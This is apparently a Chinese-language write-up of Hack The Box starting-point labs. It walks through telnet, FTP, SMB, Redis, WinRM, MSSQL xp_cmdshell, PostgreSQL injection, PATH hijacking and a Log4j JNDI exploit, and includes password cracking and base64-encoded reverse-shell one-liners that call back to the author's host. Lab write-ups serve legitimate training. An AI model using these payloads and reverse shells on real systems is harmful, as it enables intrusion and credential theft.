HTB
ps 我个人是在美国的服务器上架设代理,在vps上连接openvpn,然后使用proxifier来转发流量,liunx就用proxychains4,这样虽然比较快,但是端口扫描就只能在服务器上做了
常用
nmap全端口扫描
1 | nmap -sS -sV 10.129.88.187 -p- -T5 -vv |
拿到shell
拿到shell后先尝试提权
看用户文件
而后查看后台进程 ps -aux
传fscan扫其他主机的服务
Meow

nmap扫太慢了,拿fscan扫可以发现开启了23端口telnet服务,尝试登陆
1 | telnet 10.129.150.178 |

直接root登陆,未授权。
正常可以用msf来爆破
kali自带自带子在1
/usr/share/wordlists/legion/
Fawn

FTP存在匿名登陆 匿名账号anonymous
使用msf的ftp login 模块
设置好字典,账号密码用空格分隔+1
set USERPASS_FILE /usr/share/wordlists/legion/ftp-betterdefaultpasslist.txt

爆破出来后可以用MobaXterm登陆
Dancing

发现smb协议且有弱口令
1 | //10.129.108.81 |
Redeemer
开启了redis,用kali来连接
1 | redis-cli -h host -p port -a password |

直接连上了,存在redis未授权
msf爆破时会直接报redis未设置密码的错误1
keys *
可以看到所有的key,会发现flag

使用get得到flag
Explosion

直接win+R mstsc 然后就是输入用户名密码连接rdp
Mongod
尝试使用Navicat连接
Crocodile

开启了80 端口和ftp服务
且其成功匿名登陆
ftp里有账号密码。
用linux的话可以用get进行下载

尝试登陆
Responder

访问这个ip会302跳转,但是跳转的域名是不存在的,我们需要自己在本地配置dns
在
C:\Windows\System32\drivers\etc\hosts
写映射

然后就可以了,这里好像是因为谷歌内核的原因我只能用火狐访问

一个前端页面,直接开抓包看什么时候会请求

可以发现很可能存在文件读取
Responder
这里我们可以了解一下Responder
Responder是一种用于LLMNR/NBT-NS/mDNS 投毒攻击的工具。这算是一种内网攻击的手段。
受害者(例如一台 Windows 主机)尝试访问一个网络资源(如共享文件夹 、、\\fileserver\share
)。
如果受害者无法通过 DNS 解析 fileserver 的主机名,它会使用 LLMNR(Link-Local Multicast Name Resolution)、NBT-NS(NetBIOS Name Service) 或 mDNS(Multicast DNS) 协议广播查询,询问网络中是否有主机知道 fileserver 的地址。
用Responder就可以监听请求,以此获得用户名和NTML哈希值,NTML哈希值可以用hashcat爆破,爆破出来就是密码。

1 | responder -I tun0 -w -d |


得到用户名和hash值
john
将hash值存到hash.txt中庸john爆破1
john -w=/usr/share/wordlists/rockyou.txt hash.txt
得到密码
nmap全端口扫描1
nmap -sS -sV 10.129.88.187 -p- -T5 -vv
可以扫到5985端口的winrm服务。这个服务是可以进行远程管理的
这里使用evil-winrm来进行命令执行
evil-winrm
1 | evil-winrm -i 10.129.88.187 -u Administrator -p badminton |

我们可以使用download来下载文件,也可以使用upload来上传文件
1 | download flag.txt /root/flag.txt |

1 | upload ../../root/up.txt ./ |
因为 upload是根据嗯程序运行的相对目录来的,我之前启动evil-winrm时目录为/root/HTB所以如果想传/root/up.txt就需要目录穿越
我们可以利用upload来上传c2来更好的远控吧
Archetype
smb连接

smb弱口令(测试之后发现是未授权访问)1
2proxychains4 smbclient -L //10.129.242.137 -U admin //列出存储目录
proxychains4 smbclient -L //10.129.242.137 -N
使用smbclint 来连接1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24选项 描述
-L 列出目标主机的共享。
-U 指定用户名。
-m 指定 SMB 协议版本(如 SMB2、SMB3)。
-p 指定端口号(默认 445)。
-W 指定工作组或域名。
-c 执行指定的命令后退出。
-A 从文件读取用户名和密码。
-N 不使用密码进行连接。
-------------------------------
连接后的交互命令
命令 描述
ls 列出当前目录的文件和子目录。
cd 更改当前目录。
get 下载文件到本地。 get 存储桶文件 本地下载位置
put 上传文件到共享。 put 本地文件 存储桶
mget 批量下载文件。
mput 批量上传文件。
mkdir 创建目录。
rmdir 删除目录。
rm 删除文件。
rename 重命名文件或目录。
exit 或 quit 退出 smbclient。
1 | proxychains4 smbclient //10.129.242.137/backups -N |

1 | get prod.dtsConfig /root/prod.dtsConfig |
下载文件
得到了账号密码是SQLNCLI10.1这个服务的也就是1433端口的服务
sqlserver连接脚本我们可以使用impacket里的脚本。kali自带的在/usr/share/doc/python3-impacket/examples/
脚本在impacket的examples目录下
我下载到了/root/HTB/impacket/examples好管理
我们可以使用mssqlclient.py进行连接1
python3 ./HTB/impacket/examples/mssqlclient.py ARCHETYPE/sql_svc@10.129.242.137 -windows-auth

登陆上sql_server 后我们可以进行数据库操作,如果权限是admin权限还可以使用xp_cmdshell来命令执行1
2
3
4
5SELECT name FROM sys.databases; //查询所有数据库
USE DatabaseName; //使用数据库
SELECT name AS TableName FROM sys.tables ORDER BY TableName; //查询所有表
EXEC sp_help 'TableName'; //查看表结构
语法与mysql很相似
我们可以使用xp_cmdshell 来命令执行
但是xp_cmdshell 默认是关闭的,我们需要开启,开启xp_cmdshell又需要admin权限
先检测一下当前用户是不是admin1
SELECT IS_SRVROLEMEMBER('sysadmin');

1 | EXEC sp_configure 'show advanced options',1 //开启高级配置选项。 |

我们可以看只有最低权限
查看历史命令可以发现账号密码1
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
sql_svc的命令执行记录可以发现账号密码
使用Impacket psexec.py获取shell
或者使用CS的psexec。
Oopsie

开启了web端口和22端口

发现一个疑似login的路径
底下有一个游客登陆
可以看到其设置的cookie是直接明文设置了。前面一个是user的id而后面一个应该是权限。尝试直接修改权限会发现不行。
而忘记上传是需要admin权限的
在Account可以看到账号信息。尝试抓包看看流量
修改id可以找到admin的id
修改cookie上传一句话木马。之前扫目录的时候扫出了一个403的uploads那么上传的位置应该就在uploads
1 | find / -user root -perm -4000 -print 2>/dev/null |
看一下suid权限
可以发现有一个奇怪的文件
/usr/bin/bugtracker
但我们没权限执行1
2
3
4
5
6
7
8ls -l /usr/bin/bugtracker
-rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020
find / -group bugtracker 2>/dev/null //查看该用户组其他文件
可以发现其得是bugtracker用户组的才能运行
可以发现用户文件夹下有应该user.txt
f2c74ee8db7983851ab2a96a44eb7981
得到用户flag
找一下web源码的数据库配置文件。

发现数据库账号密码
但是我们可以发现这个用户名和我们之前在home下看到的用户一模一样,猜测这个为该系统用户账号密码,直接ssh连1
proxychains4 ssh robert@10.129.62.243
如果目标机器没用开ssh,我们可以通过弹shell然后使用su robert来切换用户
一个个测shell命令有点麻烦,我这里直接用蚁剑的插件弹
1 | bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xMjkvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}' |
提升为交互式终端1
2SHELL=/bin/bash script -q /dev/null
python3 -c 'import pty; pty.spawn("/bin/bash")'

之前其实看suid权限的时候就以及发现了一个奇怪的文件1
/usr/bin/bugtracker
1
2find / -group bugtracker 2>/dev/null
只是因为蚁剑的非交互式终端导致了我执行这个文件时,没回显
经过尝试发现这个bug id其实是一个cat程序
用蚁剑下载下来逆一下

可以发现其是使用sysem(‘cat /root/reports’)而不是/bin/cat 这样就存在了环境变量劫持
尝试劫持环境变量来提权1
2
3
4
5
6#部署$PATH劫持后门
export PATH=/tmp:$PATH
echo "/bin/bash" > /tmp/netstat
chmod 777 /tmp/cat
#执行受害程序
./a.out
拿到root权限
af13b0bee69f8a877c3faf667f7beacf

Vaccine

开了ftp且有匿名登陆
也具可以用账号密码登陆1
ftp://ftp:b1uRR3@10.129.221.134/

有个备份文件
要密码,尝试用John爆破
1 | zip2john backup.zip >hash.txt |
1 | john -w=/usr/share/wordlists/rockyou.txt hash.txt |


看源码发现发现密码的md5直接写到了代码里
用john爆破md5
1 | john -w=/usr/share/wordlists/rockyou.txt md5.txt --format=Raw-MD5 |

得到密码qwerty789

发现sql注入
经过order by知道有5列。但是直接使用union select 1,2,3,4,5是发生了报错

这个报错是告诉我们前后的列的数据类型是要一样的,而这样的数据库大概率是postgresq
pgsql
我们可以使用NULL来进行占位1
2Sandy' union select NULL,NULL,NULL,NULL,NULL--+
Sandy' union select '1','2','3','4','5'--+
列类型是字符串

当然注入其实不是重点 pgsql是可以直接写文件读文件读目录的
我们直接写文件拿shell
读文件
1 | 1'union select '1','1','1','1',pg_read_file('/etc/passwd');--+ |

写文件
1 | 1';COPY (select '<?php phpinfo();?>') to '/var/www/html/1.php';--+ |
web目录没写入权限
命令执行
我们可以利用如下语句来命令执行
1 | 1';drop table if exists cmd_exec; |
上面的命令执行是无回显的,为了方便操作我们尝试弹shell
而在上面的命令执行我们的&会杯转义我们只要先弹一个无回显的shell
1 | 1';drop table if exists cmd_exec; |
拿到无回显shell后,弹一个有回显的
1 | bash -c "bash -i &> /dev/tcp/10.10.15.129/7778 0>&1" |

1 | SHELL=/bin/bash script -q /dev/null |
读取一下dashboard.php尝试找数据库密码
P@s5w0rd!
直接连ssh
拿到用户flag1
sudo -l
可以发现可以使用sudo来运行/bin/vi /etc/postgresql/11/main/pg_hba.conf

Linux提权之Sudo 70种提权方法(上)
Linux提权之Sudo 70种提权方法(中)
Linux提权之Sudo 70种提权方法(下)
Linux提权之Sudo 70种提权方法
直接甩出某位大佬的sudo提权70种

得到root权限
Unified
扫一下可以发现如下端口开放
JNDInjector v1.1
开了结果web服务,只有8443可以正常访问
发现是Unifi的6.4.54版本,该版本存在着log4j的漏洞cve-2021-44228
remember处我们可以进行JNDI注入
但是经过尝试发现不使用利用链直接使用ldap来打是打不通的,尝试了JNDIInjector的其他链子发现不太行。
简单看一下版本jar包之类的1
2${jndi:ldap://10.10.16.63:389/${sys:java.version}}
${jndi:ldap://10.10.16.63:389/${sys:java.class.path}}
java属于高版本的java,而我们够探测的类只有一个jar包
我们需要使用本地的反序列化进行绕过。JNDIInjector的cc链子啥的不行就只好换一个工具了。
我这里使用RogueJndi-1.1.jar。
使用这个工具的tomcat链可以绕过
1 | java -jar RogueJndi-1.1.jar -c "bash -c {echo,L2Jpbi9iYXNoIC1jICdiYXNoIC1pICY+IC9kZXYvdGNwLzEwLjEwLjE1LjEyOS81NTU1IDA8JjEn}|{base64,-d}|{bash,-i}" -n 10.10.15.129 |

1 |
|

收到shell

拿到用户flag
1 | bin/mongod --dbpath /usr/lib/unifi/data/db --port 27117 --unixSocketPrefix /usr/lib/unifi/run --logRotate reopen --logappend --logpath /usr/lib/unifi/logs/mongod.log --pidfilepath /usr/lib/unifi/run/mongod.pid --bind_ip 127.0.0.1 |
看一下后台进程1
ps -aux
发现mongodb器端口为27117
读一下配置文件,cat /etc/mongodb.conf
可以发现没有 security 部分,没有明确启用 authorization: enabled
使用其并没用密码认证
直接连接1
2
3
4
5mongo --host 127.0.0.1 --port 27117
有密码的话可以尝试在环境变量或者配置文件中读取
cat /etc/mongodb.conf
mongo基本操作
mongo
是 MongoDB 提供的命令行客户端工具,用于连接 MongoDB 数据库并执行交互式操作或脚本。以下是关于 mongo
命令的详细说明、常见用法和示例:
基本语法
1 | mongo [options] [database] [script.js] |
常用参数
--host <hostname>
:- 指定 MongoDB 服务器的主机名(默认是
localhost
)。
- 指定 MongoDB 服务器的主机名(默认是
--port <port>
:- 指定 MongoDB 服务器的端口号(默认是
27017
)。
- 指定 MongoDB 服务器的端口号(默认是
-u <username>
:- 指定连接的用户名(用于认证)。
-p <password>
:- 指定连接的密码(用于认证)。
--authenticationDatabase <db>
:- 指定认证数据库(默认是
admin
)。
- 指定认证数据库(默认是
--eval "<javascript>"
:- 执行指定的 JavaScript 代码,而不是进入交互式 Shell。
--quiet
:- 减少输出信息(适用于脚本执行)。
--help
:- 显示帮助信息。
常见用法
1. 连接到默认的 MongoDB 实例
1 | mongo |
- 连接到本地
localhost:27017
的 MongoDB 实例。
2. 连接到指定主机和端口的 MongoDB
1 | mongo --host 192.168.1.100 --port 27117 |
- 连接到
192.168.1.100:27117
的 MongoDB 实例。
3. 连接到指定数据库
1 | mongo mydb |
- 连接到本地 MongoDB 实例,并选择
mydb
数据库。
4. 使用认证连接
1 | mongo -u myuser -p mypassword --authenticationDatabase admin |
- 使用用户名
myuser
和密码mypassword
连接到 MongoDB,并在admin
数据库中进行认证。
5. 执行 JavaScript 代码
1 | mongo --eval "db.version()" |
- 连接到默认 MongoDB 实例,并执行
db.version()
命令,输出 MongoDB 版本。
6. 执行脚本文件
1 | mongo mydb myscript.js |
- 连接到
mydb
数据库,并执行myscript.js
文件中的 JavaScript 代码。
7. 查询数据并输出
1 | mongo mydb --eval "db.mycollection.find().forEach(printjson);" |
- 连接到
mydb
数据库,查询mycollection
集合中的所有文档,并以 JSON 格式输出。
交互式 Shell 常用命令
在 mongo
进入交互式 Shell 后,可以执行以下命令:
1. 显示数据库
1 | show dbs |
- 列出所有数据库。
2. 切换数据库
1 | use mydb |
- 切换到
mydb
数据库。
3. 显示集合
1 | show collections |
- 列出当前数据库中的所有集合。
4. 查询数据
1 | db.mycollection.find() |
- 查询
mycollection
集合中的所有文档。
5. 插入数据
1 | db.mycollection.insert({ name: "John", age: 30 }) |
- 向
mycollection
集合中插入一条文档。
6. 更新数据
1 | db.mycollection.update({ name: "John" }, { $set: { age: 31 } }) |
- 更新
mycollection
集合中name
为John
的文档,将age
字段设置为31
。
7. 删除数据
1 | db.mycollection.remove({ name: "John" }) |
- 删除
mycollection
集合中name
为John
的文档。
8. 退出 Shell
1 | exit |
- 退出
mongo
Shell。
示例
1. 查询并输出数据
1 | mongo mydb --eval "db.users.find().forEach(printjson);" |
- 连接到
mydb
数据库,查询users
集合中的所有文档,并以 JSON 格式输出。
2. 执行脚本文件
假设 myscript.js
文件内容如下:1
2db.users.insert({ name: "Alice", age: 25 });
db.users.find().forEach(printjson);
执行命令:1
mongo mydb myscript.js
- 连接到
mydb
数据库,插入一条文档并查询输出。
3. 批量插入数据
1 | mongo mydb --eval "for (let i = 1; i <= 10; i++) { db.numbers.insert({ value: i }); }" |
- 连接到
mydb
数据库,向numbers
集合中插入 10 条文档。
注意事项
权限:
- 某些操作需要管理员权限,确保使用正确的认证信息。
性能:
- 避免在大型集合上执行未优化的查询,可能导致性能问题。
脚本执行:
- 在脚本中使用
print()
或printjson()
输出结果。
- 在脚本中使用
退出状态:
- 如果命令执行失败,
mongo
会返回非零退出状态。
- 如果命令执行失败,
使用show dbs
可以发现只有ace,use ace
show collections
可以发现一个admin表db.admin.find()
使用1
2db.admin.find().forEach(printjson);
列出admin的内容
我们可以尝试队admin的密码进行替换
我们先使用hashid来查一下这个是什么加密1
hashid '$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.'
使用mkpasswd来生成sha512的hash值1
mkpasswd -m SHA-512 admin

1 | db.admin.update({ "name": "administrator" }, { $set: { "x_shadow": "$6$1S6kGZYDVOBuvxkx$WABCM74KY/EYiEgYaSckzK0U4CDaeE71ymDk8R5vyAUSTmbgr1Sp3rpSoFxw5aAl6/yOPsVRIbF0TOFHNNe4I1" } }) |

设置里可以看到ssh的账号密码
直接ssh连接1
ssh root@10.129.101.92
